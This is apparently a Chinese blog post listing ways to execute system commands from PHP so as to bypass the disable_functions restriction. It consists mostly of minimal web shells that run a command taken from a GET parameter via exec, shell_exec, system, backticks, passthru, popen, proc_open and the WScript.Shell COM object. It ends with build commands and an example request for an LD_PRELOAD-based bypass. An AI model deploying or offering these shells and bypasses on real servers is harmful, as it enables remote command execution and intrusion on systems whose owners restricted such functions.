天天看點

PHP中執行系統指令(繞過disable_functions)

目錄

​​PHP中執行系統指令​​

​​exec()​​

​​shell_exec()​​

​​system() ​​

​​`$command`​​

​​passthru()​​

​​popen()​​

​​proc_open()​​

​​COM元件​​

PHP中執行系統指令

在PHP中,執行系統指令,有以下方式或方法:

  1. exec()
  2. shell_exec()
  3. `whoami`
  4. system()
  5. passthru()
  6. popen()
  7. proc_open()
  8. pcntl_exec() :需要開啟pcntl擴充
  9. COM元件:Wscript.Shell和Shell.Application
  10. dl():通過加載自定義php擴充突破 disable_fucnitons指令的限制
  11. 利用PHP核心變量繞過disable_functions,傳送門:​​利用PHP核心變量繞過disable_functions(附完整代碼)​​

exec()

該函數預設傳回值是執行結果的第一行,并不會有全部的執行結果。如果要列印執行結果,需周遊列印output數組。

string exec ( string command, array &output, int &return_var)
    command參數是要執行的指令
    output數組是儲存輸出結果
    return_var整形用來儲存指令執行後的狀态碼,0代表執行成功,1代表執行失敗      
<?php
  $command=$_GET['command'];
  $ret=exec($command,$output,$a);
  echo $ret;          #預設隻傳回第一行結果
  echo "<br>";
  echo "****************************************************";
  echo "<br>";
  echo "Status: ",$a;     #列印出執行狀态碼
  echo "<br>";
  echo "****************************************************";
  $length=count($output);   #數組的長度
  for($i=0;$i<$length;$i++){
    echo $output[$i];
    echo "<br>";
  }
?>      
PHP中執行系統指令(繞過disable_functions)

shell_exec()

<?php
  $command=$_GET['command'];
  $ret=shell_exec($command);
  echo $ret;
?>      
PHP中執行系統指令(繞過disable_functions)

system()

system(string  command , int & return_var)
    command參數是要執行的指令,
    return_var參數存放傳回的值,可不寫該參數      
<?php
  $command=$_GET['command'];
  $ret=system($command);
  echo $ret;
?>      
PHP中執行系統指令(繞過disable_functions)

`$command`

<?php
  $command=$_GET['command'];
  $ret=`$command`;
  echo $ret;
?>      
PHP中執行系統指令(繞過disable_functions)

passthru()

<?php
  $command=$_GET['command'];
  passthru($command);
?>      
PHP中執行系統指令(繞過disable_functions)

popen()

popen ( string command, string mode )
    打開一個指向程序的管道,該程序由派生給定的 command 指令執行而産生。 傳回一個和 fopen() 所傳回的相同的檔案指針,隻不過它是單向的(隻能用于讀或寫)并且必須用 pclose() 來關閉。此指針可以用于 fgets(),fgetss() 和 fwrite()。      
<?php
  $command=$_GET['command'];
  $fd = popen($command, 'r'); 
  while($s=fgets($fd)){
    print_r($s);
  }
?>      
PHP中執行系統指令(繞過disable_functions)

proc_open()

resource proc_open ( string cmd, array descriptorspec, array &pipes [, string cwd [, array env [, array other_options]]] )      
<?php
    $command=$_GET['command'];
    $descriptorspec=array( 
        0=>array('pipe','r'), 
        1=>array('pipe','w'),
        2=>array('pipe','w') 
    );
    $handle=proc_open($command,$descriptorspec,$pipes,NULL);
    if(!is_resource($handle)){
        die('proc_open failed');
    }
    while($s=fgets($pipes[1])){
        print_r($s);
    }
    while($s=fgets($pipes[2])){
        print_r($s);
    }
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($handle);
?>      
PHP中執行系統指令(繞過disable_functions)

COM元件

php>5.4版本需手動添加該擴充

在php.ini檔案中,加入如下這行

PHP中執行系統指令(繞過disable_functions)

然後檢視phpinfo,該擴充是否enable。

PHP中執行系統指令(繞過disable_functions)

enable之後,就可以使用如下腳本了。

<?php
$command=$_GET['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>      
PHP中執行系統指令(繞過disable_functions)

如果目标是Linux系統的話,可以參考:​​GitHub - yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD: bypass disable_functions via LD_PRELOA (no need /usr/sbin/sendmail)​​

項目中現成的so檔案可以如下編譯

# x64
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so
# x86
gcc -shared  -m32 -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so      
http://x.x.x.x/bypass_disablefunc.php?cmd=id&outpath=/var/www/html/xxx&sopath=/var/www/html/bypass_disablefunc_x64.so